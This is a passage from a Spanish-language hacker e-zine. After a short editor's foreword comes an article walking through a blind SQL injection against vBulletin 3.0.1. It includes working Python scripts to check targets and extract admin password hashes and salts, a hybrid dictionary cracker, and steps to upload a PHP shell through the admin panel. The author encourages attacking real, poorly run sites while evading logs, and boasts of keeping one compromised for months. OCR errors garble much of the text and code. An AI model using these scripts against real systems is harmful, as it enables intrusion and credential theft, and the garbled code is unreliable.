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De nuevo con vosotros. Cada vez con mas dificultades para conseguir llenar el
e-ezine, pero siempre cae una aportacion que otra que consigue finalmente
llenar un espacio, que queremos recordar, no esta tanto en el animo de nuestro
e-zine sea centro de tecnologia de altos vuelos sino mas bien cuna de gente
nueva. Pretendemos, probablemente con poco exito, ser mas bien un despertador
que una universidad, y no lo olvidemos, arropados por la lengua en que
escribio Cervantes. Bueno, ha cambiado un poco desde entonces pero la base
sigue siendo la misma.

La lengua es solo un signo, una indicacion. Nos dice en que direccion se estan
desplazando los centros de estudio. Y no nos olvidemos, lo que hoy son lugares
donde se estudia, manyana seran centros de decision. Hace unos dias, por motivos
ajenos a esta e-zine, hicimos una busqueda mediante Google buscando un dato
tecnico y un poco sorprendidos nos encontramos con que el 80% de las

referencias estaban alojadas en dominios cn. China nos invade con productos
fisicos, puede que en el futuro nos invada con su tecnologia.

Hasta el proximo numero,

El editor
A AY A4 AN N N N
~/_/_ [/ [/ / Que los Bits os protejan \ _\ _\ \ \
/7 /7 AN N N N
_f_/_/_ /7 SET Staff N N N Y
_/_/_/_ /7 AN N N N
*EOF*
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Inyeccion SQL

LAS BONDADES DEL SOFTWARE ANTICUADO.

INTRODUCCION.

En este articulo vamos a aplicar unas tecnicas elementales, como 1la inyeccion
SQL, para obtener informacion sobre un sitio, 1o que nos llevara a hacernos con
una shell. De paso programaremos un ataque de diccionario para romper
passwords, primero en Python y luego en C.

No vayas a pensar que esto es muy elite: he puesto al dia un ataque viejo, y me
he Ilevado una sorpresa al ver que todavia funciona contra bastantes blancos.
Si estas dando tus primeros pasos en esto, quizas encuentres informacion util
por aqui.

La tecnica se basa en un ataque que lance hace ya bastante tiempo, a un Tforo
vBulletin que habia caido en una situacion surrealista y necesitaba un

administrador "voluntario™. Pero una cosa llevo a la otra y acabe con una shell
en el sistema.

Me ha sorprendido ver que, tanto tiempo despues, hay todavia bastantes foros
vulnerables a este ataque. Asi que he puesto al dia el ataque, lo he pasado a
Python, y reproduzco los pasos que segui por si a alguien le parece
instructivo. EI hecho es que la red esta Ilena de sitios con software

anticuado, que pueden ser atacados con un poco de creatividad, lo que permite
abrirse shells para practicar, montarse proxies para lograr cierto grado de
anonimato, y otras cosas. Tener una reserva de sitios comprometidos siempre es
un buen recurso incluso si estas puesto en estas cosas, y si estas empezando,
pues mejor meter mano a sitios vulnerables y mal administrados antes de
lanzarte a por la NSA :-).

NOTA.

Al final de este articulo tienes, en formato PGP, un fichero tar adjunto con
todos los archivos necesarios para lanzar el ataque. Incluye el codigo fuente
en C para un ataque de diccionario bastante avanzado, aunque no esta testeado a
fondo. El archivo tiene todos los elementos, incluyendo 1los passwords y un
diminuto diccionario para ver que todo va bien.

Para extraer el fichero, simplemente pasa este articulo por PGP.

He usado Python para este ataque porque es un lenguaje limpio y muy agradable
de programar. Cuesta creer lo sencillo que fue crear el ataque de diccionario
en Python, y funciono a la primera. Dado que uso la libreria hashlib, en vez de
la vieja md5, es conveniente que tengas instalado Python 2.5.

Y ESTO PARA QUE.

Vamos a ver como sacar passwords de usuarios en vBulletin 3.0.1 (tambien vale
para algunas versiones posteriores). Luego vamos a ver cCcomo Se rompen €esos
passwords. Y Ffinalmente, indicare como puedes usar los privilegios de
administrador para subir ficheros arbitrarios al sistema a atacar, 1o que te
abre las puertas de una shell o mucho mas.

Los ataques que se desarrollaran en este articulo estan programados desde cero
y los he empleado para hacerme con una shell en un sistema, simplemente para

Page 1



0x02-mad grrl_txt
ver que funiona. En mi ataque original use una mezcla de perl, forms en HTML, C
y aplicaciones como netcat. He rehecho todo eso, y ahora mismo basta usar unos
simples programas en Python para hacerlo todo.

Para que quieres una shell en un sistema remoto? Bueno, si estas empezando,
esta bien hacerte con una shell sin privilegios en un sistema cualquiera. EI
realizar un ataque como este, ver como va, seguir los pasos, entender lo que se
hace, y finalmente obtener la shell puede darte pistas sobre como va el juego.
Mejor que perder el tiempo en #h4xUrs aguantando a los tipicos bocas que no
tienen NP1. Nada mejor que hacer algo por ti mismo.

Una cuestion importante: el ataque esta pensado de forma que no se cree ni una
sola alarma en los logs del blanco. Una tecnica tipica de las inyecciones SQL
es producir un fallo que te alerte de los contenidos de la base de datos: el
problema de esta tecnica es que deja huella en los logs. El ataque que he
implementado en este articulo _no_ genera fallos SQL: esto limita el numero de
sistemas vulnerables (por ejemplo, vBulletin 3.0.0 solo es vulnerable si
admitimos fallos), pero me parece importante presentar un ataque lo mas
inocuo posible. Una cuestion importante es el trafico generado por el
ataque; me ocupare de eso en un la seccion UNA ADVERTENCIA SOBRE EL TRAFICO.

BLANCO.

Vamos a atacar foros que esten corriendo vBulletin 3.0.1 con MySQL. Ademas,
deben tener la variable $TABLE_PREFIX nula, lo que es la opcion por defecto.
Tambien deben tener una configuracion de MySQL y PHP relativamente laxa:
calculo que un 30% de los sistemas con vBulletin 3.0.1 que he sondeado son
vulnerables, 1o que no esta mal. He escrito una herramienta para hacer el
sondeo automatico.

Algunas versiones de vBulletin posteriores, hasta la 3.0.3, deberian ser

vulnerables. Tambien algunas versiones anteriores, pero para estas necesitaras
alterar el ataque, porque su respuesta a las inyecciones SQL es diferente.

ESQUEMA DEL ATAQUE.

El ataque sobre un sitio puede resumirse en lo siguiente. Asumamos que  tienes
un sistema remoto http://blanco.org/forum/ que corre vBulletin 3.0.1.

1) Ejecutas test.py y compruebas que http://blanco.org/forum/ es vulnerable.

2) Te paseas discretamente por http://blanco.org/forum/ y tomas notas de los
numeros de usuario y nombre de los administradores. Tambien puedes anotar a los
moderadores. El numero de usuario es sencillo de obtener con poner el raton
encima del nombre del usuario, pues eso linka a algo del estido de:
http://www.xxx.es/foro/member.php?u=124

Lo que va despues de la u es precisamente la id, es decir, 124.

3) Ejecutas ataque.py y te haces con el hash y el salt de cada uno de Ilos
logins de esos administradores / moderadores.

4) Usas los ataques de diccionario e hibridos en python y C para crackear los
hashes.

5) Haces login como administrador y subes una shell en PHP al servidor.
6) Ejecutas la shell y a partir de ahi se trata de una escalada de privilegios.
Lo interesante de esto es ver como Tfuncionan los diversos pasos. Hay

variaciones en cada uno de los pasos, Yy pueden hacerse muchas mas cosas
interesantes que subirse una shell PHP al servidor.
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EL ATAQUE: LA INYECCION SQL.

Antes de empezar: si no estas muy puesto en inyecciones SQL, una buenas
referencias para empezar son:

http://www.spidynamics.com/spilabs/education/whitepapers/SQLinjection._html
http://www.spidynamics.com/assets/documents/Blind_SQLInjection.pdf

La segunda referencia se refiere a "Blind SQL Injections™, es decir,
inyecciones que no dependen de generar un error en el servidor que estamos
atacando, que es precisamente nuestro caso.

Todo el problema de vBulletin 3.0.1 empieza con el siguiente aviso de
vulnerabilidad, en el foro oficial:

It has come to our attention that a problem exists with the code used to
run paid subscriptions when using Authorize_net as the payment manager.

The problem is minor and difficult to exploit, but we have updated the
vBulletin 3.0.3 package in the members®™ area with updated code.

Un aviso oficial, junto al nombre del descubridor, puedes encontrarlos en:
http://secunia.com/advisories/12531/

La idea que nos llevamos es que en el script forum/subscriptions/authorize.php
hay cierta posbilidad de inyectar SQL a traves de la variabe $x_invoice_num,
pero parece que es complicado y dificil de explotar.

Lo primero es instalar todo el software que vas a atacar en tu propio
ordenador. Una vez que consigas crackear con exito tu propio sistema, puedes ir
a por el de otro. No es nada complicado conseguir una version 3.0.1 de
vBulletin en internet. Si lo instalas junto a Apache, PHP y MySQL, puedes
montarte tu propio foro en cuestion de minutos. Es clave tener siempre el
software a atacar en tu propio ordenador: si vas a construir un ataque, seguro
que te equivocaras muchas veces antes de que funcione. Lo ultimo que quieres es
que esos fallos queden registrados en los logs de un sistema remoto.

Supongamos que tienes instalado el vBulletin 3.0.1 en tu ordenador. Basta echar
un vistazo al codigo fuente de authorize.php para ver donde esta el fallo. A
continuacion reproduzco la parte que es vulnerable:

/////////////7////7///7 Parte de authorize.php en vBulletin 3.0.1 ///////////////7
1: // Nos saltamos las declaraciones iniciales, etc.

2:

3: $check_hash = strtoupper(md5($vboptions[“authorize_loginid™] .
$ POST["x_trans_id"]

4: -
$_POST["x_amount™]));

5:
: if ($check_hash == $ POST["x_MD5 Hash*] AND $ POST["x_response_code"] == 1)

{

: $item_number = explode("_", $ POST["x_invoice _num"]);
9: $subscriptionid = intval($item_number[0]);

11: it (empty($item_number[1]) OR empty($item number[2]))
12: { 7/ non vBulletin subscription

13: exit;

14: }

16: $userid = $DB_site->query_ First(""'SELECT userid, languageid, styleid FROM "

17: . TABLE PREFIX . "user WHERE userid = " .
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$item_number[1]);
18: if ($subscriptionid AND $userid[“userid™])

19: {

20: //its a authorize_net payment and we have some valid ids

21: $sub = $DB_site->query First('SELECT * FROM " . TABLE_PREFIX .
22: "subscription WHERE subscriptionid = $subscriptionid™);
23: $cost = unserialize($sub["cost™]);

24:

25: if ($_POST["x_amount™] == $cost[strtolower($item_number[2])])
26:

27: build_user_subscription($subscriptionid, $userid[“userid"]);
28:

29: // echo something back to the user...

// El codigo sigue adelante...

L11/177777777777777777777///7/77/77777/777//77//7//7/7//////////////////7///7/7/77/7777777

Bien, la cagada esta en las lineas 16-17: la variable $item_number[l] no ha
sido filtrada contra maldades varias. Y esta variable proviene del explode en
la linea 8, en el que se lee el valor suministrado a traves de POST de
X_invoice_num, y se separa en campos con el separador " _". En pocas palabras,
si enviamos un POST a authorize.php en el que x_invoce num valga "1 INY. SQL-",
el explode de la linea 8 va a hacer que $item_number[0] valga 1, y que
$item_number[1] valga "INY. SQL". Y ese $item_number[1] va a ir directo a una
query SQL sin filtrar.

En esto consiste precisamente una inyeccion SQL: metemos a traves de PHP un
comando que pasa directamente a la base de datos y ejecuta la query que a
nosotros nos de la gana.

En este caso, tenemos que lo que podemos meter es lo siguiente:

SELECT userid, languageid, styleid FROM user WHERE userid = <<LO QUE QUERAMOS>>

En tiempos mas felices, y con bases de datos mas atrasadas, se podia meter un
punto y coma y ejecutar dos comandos SQL que no tuvieran nada que ver. Este
tipo de inyecciones no se pueden hacer con MySQL por defecto, asi que tenemos
que modificar la query que tenemos para que nos de iInformacion sobre el
sistema.

Lo que perseguimos es hacernos con el password de cualquier usuario. EI
password esta en la tabla "users'™, en el campo 'password”. Si quisieramos
acceder al password, un comando SQL razonable seria:

SELECT password FROM user WHERE userid = 1

Esto selecciona el password, sin crackear, de el usuario numero 1 (usualmente
el admin del foro). Como necesitaremos crackear los passwords, de hecho nos
interesara hacenos tambien con la "salt" del password. Una salt es una cadena
que se mete en un password para dificultar 1los ataques de diccionario. Si
conseguimos hacernos con ella, nuestra vida se simplifica mucho. Asi que a la
hora de la verdad, nos interesa esta informacion:

SELECT password, salt FROM user WHERE userid = 1

Ahora el problema es como realizar esta query mediante una inyeccion. La cruda
realidad es que no se puede hacer de un golpe. Tendremos que sacar cada letra
del password poco a poco. La idea es la siguiente: en la linea 18, el 1if se
ejecutara si la query de la linea 16 devuelve un valor no vacio. Si ese iIf se
ejecuta, el script PHP manda un mensaje al usuario. Pero si el if falla, no se
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manda ningun mensaje al usuario, y la pagina queda en blanco.

Por ejemplo, si hacemos esta query con inyeccion:

SELECT userid, languageid, styleid FROM user WHERE userid = 1 AND (SELECT TRUE)
N

inyectado a partir de aqui |

la query tendra exito y el if se ejecutara, dando lugar a wuna respuesta del
foro al que atacamos.

Sin embargo, si hacemos esta inyeccion:

SELECT userid, languageid, styleid FROM user WHERE userid = 1 AND (SELECT FALSE)
N

inyectado a partir de aqui |

resultara que el resultado de la query sera el conjunto vacio, asi que el if no
se ejecutara, y el foro no nos respondera a la inyeccion.

En otras palabras: podemos inyectar una query a la base de datos, y detectar si
esa query ha dado verdadero o falso.

Por ejemplo, podriamos inyectar lo siguiente:

SELECT userid, languageid, styleid FROM user WHERE userid = 1 AND name = "pedro"

1
N
inyectado a partir de aqui |

Si el usuario 1 se llama pedro, el if se ejecutara y podremos detectar que la
respuesta es correcta porque el foro nos respondera. Si el usuario no se [Ilama
pedro, sabremos que es asi porque el foro no nos respondera.

Es decir, que podemos sacar informacion del foro bit a bit. Si logramos que la
base de datos nos responda a cualquier pregunta binaria, podemos sonsacarle
cualquier cosa con el numero adecuado de preguntas.

Por ejemplo, la siguiente query es parecida a la que usamos en el ataque:

SELECT userid, languageid, styleid FROM user WHERE userid = 1
AND (SELECT SUBSTRING(SELECT password FROM user WHERE userid =1, 1, 1) = "a")

Esto puede parecer complicado, pero lo que hace es lo siguiente: le pregunta a
la base de datos si el primer caracter del password del usuario numero 1 es una
letra "a". Si es cierto, el foro nos respondera, mientras que si es falso, el
foro no escribira nada.

Luego lo unico que tenemos que hacer es ir preguntando al foro, a traves de
authorize.php, si cada una de las letras del password es la que buscamos. Cada
vez que preguntemos, miramos si el foro nos responde o no. Si nos responde, es
que la letra que hemos conjeturado es correcta.

En el ataque de verdad, la query que hacemos es:

SELECT userid, languageid, styleid FROM user WHERE userid

=1 (
SELECT ASCII(SUBSTRING(SELECT password FROM user WHERE userid

AND
=1, 1, 1)) =97

Esto se debe a que es complicado inyectar comillas, asi que en su lugar lo que
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hacemos es preguntar por un determinado codigo ascii de un caracter. Si no
entiendes muy bien que hace esta query, mirate cualquier manual de MySQL. La
idea es sencilla: se trata de ver si un cierto caracter del password es igual a
cierto codigo ASCII.

Veamos un programa que usa esta inyeccion para hallar el password y el salt de
cualquier usuario.

OBTENIENDO EL PASSWORD.

La manera en que vBulletin almacena los passwords es en forma hexadecimal. Esto
se debe a que el algoritmo de hash que se usa es md5, que codifica mensajes en
hexadecimal. Un password tipico para vBulletin es:

79d82062c9888b0ale0076e6729c7370

Ademas, la salt es un conjunto de 3 caracteres ASCII normales (pero no codigos
de control). Por ejemplo, una salt tipica es t:- . Estos tres caracteres se
usan para codificar el password. Luego nos ocuparemos de ello con mas detalle,
por ahora concentremonos en el problema de extraer esta informacion de la base
de datos.

Objetivo: queremos sacar el password, que son 32 digitos hexadecimales, y el
salt, que son 3 caracteres ASCIl, a base de nuestra iInyeccion.

Para lograrlo, he hecho el siguiente programa en Python:

HHHHH A INICIO DE ataque.py #HH#H#HHHIHHH#HHE
# -*- coding: latinl -*-

#

# Conexion al foro y chequeo del ataque.

#

import urllib, hashlib
# La funcidn principal. Esta prepara el ataque.

# El usuario a atacar por defecto es userid=1.
# Primero se busca el password.

def main(Q):
sitio = raw_input(*'Objetivo : ") # Sitio a atacar.
tabla = "" # Prefijo de tabla si existe.

# Lanzamos el ataque al password.

I = raw_input("id. a atacar : ')

print

userid = int(l) # Usuario a atacar.

campos = range(1,33) # Hay 32 caracteres en un hash md5.
chars = "0123456789abcdef"

password = """

for campo in campos:
for char in chars:
c = ataque(tabla, sitio, "password", userid, campo, ord(char))
if (c '= -1): break

if (c == -1):
print "USUARIO NO EXISTE."
return

password = password + chr(c)
print chr(c),
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print "\nEl password es : + password

# Lanzamos el ataque al salt.

salt = """
campos = range(1,4) # Hay 3 caracteres en la salt.
chars = range(32,127) # El salt es un ASCIIl desde 32 hasta 126 (Cf.

functions_user.php).

for campo in campos:
for char in chars:
c = ataque(tabla, sitio, "salt", userid, campo, char)
if (c '= -1): break
salt = salt + chr(c)
print chr(c),

print "\nEl salt es : "+ salt
return
# Esta funcion desarrolla el ataque contra una columna de la base de datos.
# Admite como parametros la id del usuario a atacar, y otras dos
# para buscar partes adecuadas del passwd.
def ataque(tabla, sitio, columna, userid, campo, intento):
# Script a atacar:
blanco = "'subscriptions/authorize.php"

# Desarrollemos la query a inyectar:

query = "(SELECT ASCII(SUBSTRING((SELECT " + columna
query += " FROM " + tabla + "user WHERE userid=" + str(userid) + '),"
query += str(campo) + ',1)) = " + str(intento) + ")"

# Vamos a poner en orden todo el postdata:

X_response_code = ""1" # Estos valores nos permiten llegar a la query
que

X_amount =" # queremos inyectar.

X_trans_id = "31337"

X_MD5 Hash = hashlib.md5(x_trans_id + x_amount) .hexdigest() -upper()

x_invoice_num = "2 1 AND " + query + '_100" # Esta es la inyeccion SQL.

# Damos formato al postdata:

post = ({''x_response_code"™ : x_response_code, ''xX_amount' : X amount,
"X _trans_id" : x_trans_id, "X MD5 Hash"™ : x MD5 Hash,
""x_invoice_num' : X_invoice_num})

post = urllib.urlencode(post)

# Conectamos al foro y lanzamos el ataque:

conexion = urllib.urlopen(sitio + blanco, post)

if (conexion.read() = """): # Comprobamos si el foro responde.
return intento

else:
return -1

conexion.close()

# Principal:

Page 7



0x02-mad grrl_txt
main()
#

HHHHAHH R R R R REE FIN DE ataque . py #H#H#HAHHHIRHHHIR I

Este programa lo que hace es ir mandando peticiones POST a authorize.php, en
las que cada vez va probando un caracter distinto para cada campo del password
y de la salt. Cada vez que hace una peticion, el programa comprueba si el foro
responde: si hay respuesta es que hemos acertado, y por ello tenemos un
caracter del password/salt.

Usar este programa es muy sencillo. Es suficiente con tener la direccion de un
sitio vulnerable, por ejemplo, http://www.xxx.com/forums/ . Un ejemplo real del
uso de este programa:

$ python -u ataque.py
Objetivo : http://www.xxx.com/forums/
id. a atacar : 1

552fFf73a85c35b95bfFfF2d5beecab599d7
El password es : 552f73a85c35b95bff2d5beecab599d7

+ F 1
El salt es i |
$

El programa va escribiendo cada caracter del password que rompe, y cuando acaba
escribe todos juntos. Hace lo mismo para el salt. Una vez terminado, solo
tenemos que anotar el password y la salt para pasarlos al crackeador, que
tambien esta programado en Python.

ANTES DE CONTINUAR.

Antes de seguir con el ataque, vamos a Vver un programa que nos permite
determinar si un foro es vulnerable al ataque. Antes que nada, pasate por el
foro y comprueba que la portada indica "Powered by vBulletin 3.0.1". Si no esta
corriendo esta version, 0 una poco posterior, es muy improbable que el ataque
funcione.

El motivo por el que necesitamos una funcion para comprobar si un sitio es
vulnerable es que el ataque que hemos desarrollado en la seccion anterior
genera una cantidad de trafico importante, y si el sitio no es vulnerable,
causara posiblemente muchos fallos SQL. Fallos que iran a los logs. Luego mejor
hacer una prueba antes que sacudirle una tunda a una maquina que puede estar
vigilada por un admin competente.

Lo unico que vamos a hacer es mandar tres queries a la maquina de destino. Las
dos primeras comprueban que el fallo de seguridad, con Qla posibilidad de
inyectar SQL, existe. La tercera query comprueba que el servidor SQL esta lo
bastante mal configurado como para permitirnos meterle una query compleja. Si
estas tres inyecciones funcionan bien puedes estar bastante convencido de que
el ataque va a funcionar.

Esto esta, una vez mas, hecho en un programa en Python bien corto:

HHHH B H R Inicio de test.py HH#HEHHHHHHHTHHEH I
# -*- coding: latinl -*-

ﬁ Conexiédn al foro y chequeo del ataque.

import urllib, re, hashlib

# La funcidn principal.
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def main(Q):

sitio = raw_input(*'Sitio a comprobar: ")
# Lanzamos el ataque al password.
print "Lanzando primera inyeccion...",

pokel = ataque(sitio, "TRUE"™)
print "hecho."

if (pokel == -2):
print "HAY UN ERROR SQL... FORO NO VULNERABLE™"
return

print "Lanzando segunda inyeccion...",
poke2 = ataque(sitio, "FALSE')
print "hecho."

it (pokel == -2):
print "HAY UN ERROR SQL... FORO NO VULNERABLE™"
return
if ((pokel == 1) and (poke2 == -1)):
print "EL FORO PARECE VULNERABLE"
else:
print "EL FORO NO ES VULNERABLE"
return

print "Lanzando inyeccion SQL compleja...",

query = "(SELECT ASCII(SUBSTRING((SELECT username FROM user WHERE
userid=1),1,1)) = 37)"

poke3 = ataque(sitio, query)

print "hecho."

it (poke3 == -2):
print "EL FORO HA RESPONDIDO CON UN ERROR SQL.™"
print "EL FORO NO ES VULNERABLE."

else:
print "EL FORO ES VULNERABLE."

# Esta funcion desarrolla el ataque contra una columna de la base de datos.
# Admite como parametros la id del usuario a atacar, y otras dos
# para buscar partes adecuadas del passwd.
def ataque(sitio, query):
# Script a atacar:
blanco = "'subscriptions/authorize.php"

# Vamos a poner en orden todo el postdata:

X_response_code = ""1"

"31337"

X_amount
X_trans_id

X_MD5_Hash hashlib.md5(x_trans_id + x_amount).hexdigest() .upper()
X_invoice_num = "2 1 AND " + query + " 100"

# Damos formato al postdata:

post = ({''X_response_code" : x_response_code, "'x_amount' : X _amount,
"X_trans_id" : x _trans_id, "X MD5 Hash'" : x MD5 Hash,
"X_invoice_num'" : X_invoice_num})

post = urllib.urlencode(post)

Page 9



0x02-mad grrl_txt
# Conectamos al foro y lanzamos el ataque:

conexion = urllib.urlopen(sitio + blanco, post)

rd = conexion.read()

if (rd 1= ""):
p = re.compile(Invalid SQL™)
if (p-search(rd) == None):

return 1 # Respuesta del foro.
else:
return -2 # Fallo SQL detectado.
else:
return -1 # El foro no responde.

conexion.close()
HHHHH
main()
#
HHHHBHH B FIn de test.py #HH#H#HHTHHHHH T
Este programa es muy semejante al anterior, y lo unico que hace es lanzar tres
queries bien construidas para graduar la vulnerabilidad del sitio. Si ejecutas
el programa, tienes por ejemplo:
$python -u test.py

Sitio a comprobar: http://www.xxx.com/forum/

Lanzando primera inyeccion... hecho.
Lanzando segunda inyeccion... hecho.

EL SITIO PARECE VULNERABLE

Lanzando inyeccion SQL compleja... hecho.

EL FORO ES VULNERABLE.

En este caso, el sitio que estas atacando ha pasado las tres pruebas, y esta
listo para lanzarle un ataque para obtener passwords. En otros casos, veras que
la cosa no funciona:

Sitio a comprobar: http://www.yyy.uk/
Lanzando primera inyeccion... hecho.
HAY UN ERROR SQL... FORO NO VULNERABLE

En este caso lo que ocurre es que el administrador ha activado la variable PHP
$TABLE_PREFIX, 1o que hace que 1la inyeccion SQL no valga. Hay otro caso
interesante:

Sitio a comprobar: http://www.zzz._com/forums/

Lanzando primera inyeccion... hecho.
Lanzando segunda inyeccion... hecho.

EL SITIO PARECE VULNERABLE

Lanzando inyeccion SQL compleja... hecho.

EL FORO HA RESPONDIDO CON UN ERROR SQL.
EL FORO NO ES VULNERABLE.

En este caso estamos ante un sistema que no acepta nuestra peticion SQL
complicada. Puede deberse a muchos motivos, y con un analisis concreto de la
respuesta (prueba a meter "print rd" en la subrutina ataque() en el programa) a
menudo puede darse un rodeo y atacar el foro de todas maneras.

En cualquier caso, si un foro pasa con exito el test, es casi seguro que puedes
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lanzar el ataque sin que se produzca un solo error SQL, obteniendo todos los
passwords que quieras.

ROMPIENDO LOS PASSWORDS.

Como hemos visto antes, los passwords se almacenan en dos partes. Primero un
conjunto de 32 caracteres hexadecimales, y luego una salt de 3 caracteres

ASCII1. Una tipica captura de passwords seria la siguiente:
79d82062c9888b0ale0076e6729c7370 t:-
eb68f5dc2a2c72d776108126b882a312 :R:
92d3f4acd93242437c93458fFeabc8ea’ tvQ

La primera parte es el hash md5, y la segunda es el salt. ElI metodo de
encriptar los passwords es curioso, y va de la manera siguiente:

1) El usuario introduce su password, digamos que es "Oberon'.

2) Tu navegador, usando javascript, aplica md5 al password, y asi obtiene la
cadena: md5(0Oberon) = 9d0e88ed22cb947b07018fe81d0446d .

3) El navegador envia esta cadena al foro. El foro tiene en su base de datos la
salt. Asi que lo que hace es combinar lo que has enviado con la salt, y le
vuelve a aplicar md5. Supongamos que tu salt es "tvQ". Lo que hace el foro es:

md5(f9d0e88ed22ch947b07018Fe81d0446dtvQ) = 92d3f4acd93242437c93458Fea6c8ea’

Y este es el password almacenado en la base de datos. En otras palabras, lo que
se almacena en la base de datos es md5(md5(password)+salt). Esto es bastante
buena idea porque, en primer lugar, no mandas por 1la red el password sin
codificar. Y en segundo lugar, el salting evita ataques de diccionario a
ciegas.

Pero como nosotros hemos conseguido la salt, si que podemos lanzar ataques de
diccionario con bastante facilidad. Aqui tienes un ejemplo de un programa que
hace ataques de diccionario, y hasta prueba variantes hibridas al ataque:

HHHH B H R Inicio de diC.py #H#HH#HEHHTHHHIH T
# -*- coding: latinl -*-

#

# Cracking usando diccionario.

#

import hashlib

def main():
pswd = raw_input(hash - "
salt = raw_input(“salt ="
hyb = int(raw_input(hibridacion [0-2]: "))

# Mete aqui una lista de los diccionarios a probar:
fichs = ["minidic'] # Mete otros diccionarios en este directorio,
# e incluyelos en la lista.

for dic in fichs :
f = open(dic, "r'")
print "Probando " + dic

lista = f.readlines()

for palabra in lista:
palabra = palabra.replace("\n"," ")
¢ = hashlib.md5(palabra) .hexdigest()
¢ = hashlib.md5(c + salt).hexdigest()
if (c == pswd):
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print "Password: " + palabra
return
if (hyb == 1): # Hibridacion moderada.

c = hashlib.md5(palabra.upper()) -hexdigest()
= hashlib.md5(c + salt).hexdigest()
if (c == pswd):

print "Password: " + palabra.upper()
return
for n in range(0,11):

¢ = hashlib.md5(palabra + str(n)).hexdigest()

¢ = hashlib.md5(c + salt)._hexdigest()

if (c == pswd):
print "Password: " + palabra + str(n)
return

if (hyb == 2): # Hibridacion fuerte.

for n in range(0,10):
for m in range (0,10):
c hashlib.md5(palabra + str(n) + str(m)).hexdigest()
hashlib.md5(c + salt)._hexdigest()
|f (c == pswd):
print "Password: " + palabra + str(n) + str(m)
return
for bang in "Q#SNE*?/ .+ N1 - <>: :
c = hashlib. md5(pa|abra + bang) hexdigest()
= hashlib.md5(c + salt)_hexdigest()
if (c == pswd):
print "Password:
return

+ palabra + bang

¢ = hashlib.md5(bang + palabra)._hexdigest()
¢ = hashlib.md5(c + salt).hexdigest()
if (c == pswd):
print "Password: " + bang + palabra
return

print "No hubo suerte.™
# Ejecutamos el programa principal.
main()
ﬁ################################# Fin de dic.py #HH#HHHH I

Este programa ataca un hash y una salt determinados, usando varios ficheros de
diccionario (que deben estar en el mismo directorio que el programa que
ejecutas). Puedes descargarte montones de diccionarios de palabras de internet.
Los nombres de los diccionarios los metes en la lista que hay al principio del
programa, y este los va probando uno tras otro. Una caracteristica interesante
de este programa es que puedes indicarle tres niveles de hibridacion en el
ataque:

Hibridacion 0 : simplemente prueba el diccionario.

Hibridacion 1 : prueba el diccionario, el diccionario pasado a mayusculas, y
cada palabra seguida de un numero del 0 al 9.

Hibridacion 2 : Todo lo anterior, y tambien otras variantes, como bangs al
final o al principio de cada palabra. Es extremadamente
lento, asi que piensa en usar la variante en C.

Ejemplos de como se usa esto:

$python -u dic.py

hash 92d3f4acd93242437c93458feabc8ea’
salt tvQ

hibridacion [0-2]: O

Probando sports

Probando tolkien
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Probando shakespe
Probando science_ fiction
Probando norse
Probando Unabr.dict
Probando Unix.dict
Probando actor-surname
Password: Oberon

Este ha sido muy facil, y se ha ejecutado en un par de segundos. Veamos uno un
poco mas duro:

hash
salt
hibridacion [0-2]:
Probando sports
Probando tolkien
Probando shakespe
Probando science_fiction
Probando norse

Probando Unabr.dict
Probando Unix.dict
Probando actor-surname
Probando american.txt
Password: bobafettl

9d82062c9888b0ale0076e6729c7370

e

Este ha llevado cerca de 40 segundos. Una cosa que me parece iImportante es
destacar que Python esta realmente bien para lanzar ataques de diccionario. En
principio pensaba que habria que usar C para esto, pero Python es
razonablemente rapido. A menos que quieras lanzar ataques con hibridacion muy
fuerte, no vale la pena meterse con C.

Otro consejo interesante es probar con passwords puramente numericos, de hasta
8 cifras. En una ocasion me he encontrado con un admin lo bastante cazurro para
usar un password compuesto por numeros (su Tfecha de nacimiento, para mas
detalles). Esto puede crackearse con Python en cuestion de segundos.

Los dos ejemplos que he puesto arriba provienen de administradores de sitios
reales. No todos son tan faciles de romper, ni mucho menos. Pero una buena
parte acaba cayendo.

Python no es, de todos modos, un lenguaje superrapido, ni siquiera si lo
compilas. He programado una version en C de este ataque, y la incluyo en el
fichero adjunto al articulo. Es puramente experimental, pero permite ataques
hibridos muy fuertes, con varios diccionarios y passwords a la vez, y es un dos
ordenes de magnitud mas rapido que Python. Aun asi, con Python siempre he
tenido suficiente para romper la mayoria de Qlas cosas, con [la opcion de
hibridacion igual a 1.

ENTRANDO COMO ADMIN.

Vale, ahora ya tenemos el login y el password de un administrador del foro.
Esto esta muy bien si eres un kiddie que quiere hacer el capullo en el foro,
pero tambien tenemos otras oportunidades de hacer cosas interesantes si sabemos
como.

Resulta que los foros vBulletin que estamos atacando tienen un fallo grave en
el panel de aministracion: te permiten subir cualquier Ffichero al servidor,
haciendolo pasar por un avatar o un smiley.

Asi que sencillamente, vete al panel de administracion, que puedes encontrar
en http://www.xxx.com/forum/admincp/index.php

Ahora mete tu login y tu password, y ya estas dentro. Una vez hecho esto, vete
al gestor de avatares, y subete al servidor lo que te de la gana. Para este
experimento, opte por PHPterm 0.3.0, que es una terminal en PHP que puedes
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encontrar facilmente en internet. Lo unico que tienes que hacer ahora es
subirte los ficheros de la terminal, uno a uno, al servidor, y abrir Ila
terminal desde tu navegador. Y ya tienes una shell en el sistema.

Existen alternativas interesantes, dado que no hay limite a [la cantidad de
cosas que puedes subirte. Si dominas algo de programacion en PHP, puedes sacar
mucha punta a un sitio penetrado.

Y esto es todo. Si has seguido el articulo hasta aqui y has entendido
minimamente las cosas, no creo que tengas demasiada difucultad en hacerte con
una shell en algun servidor por la red adelante.

UNA ADVERTENCIA SOBRE EL TRAFICO.

La primera vez que lance este ataque, tiempo ha, me 1o tome bastante de
cachondeo y me dedique a sacar no solo los passwords de los administradores,
sino tambien de multitud de usuarios, incluso antes de subirme 1la shell. La
cantidad de trafico que genere al sitio fue lo bastante grande como para
disparar, temporalmente, el ranking de alexa para ese foro :-). Hace poco,
mirando las estadisticas del sitio para los ultimos afios, me he econtrado
conque los dias del ataque destacan en la grafica de hits como el Everest en

una llanura. La cosa me llamo bastante la atencion, y me ha hecho pensar de que
curiosas maneras puede quedar registrada una cafrada que se hace en la red.

Lo cierto es que me dedique, durante una semana, a lanzar ataque tras ataque al
sitio, y que incluso me puse a romper passwords de amigos en tiempo real, para
fardar, y otras bobadas. El trafico generado en un par de ataques para obtener
los passwords de los administradores no deberia destacar demasiado. De todos
modos, me parece importante indicar este detalle, por si te emocionas y, como
yo, te extralimitas a la hora de lanzar ataques.

A pesar de lo cual, ese sitio que ataque lo tuve penetrado durante seis meses
antes de aburrirme. Al volver recientemente me he fijado que han parcheado los
agujeros. Asi que, curiosamente, tampoco parece que llamara mucho la atencion.
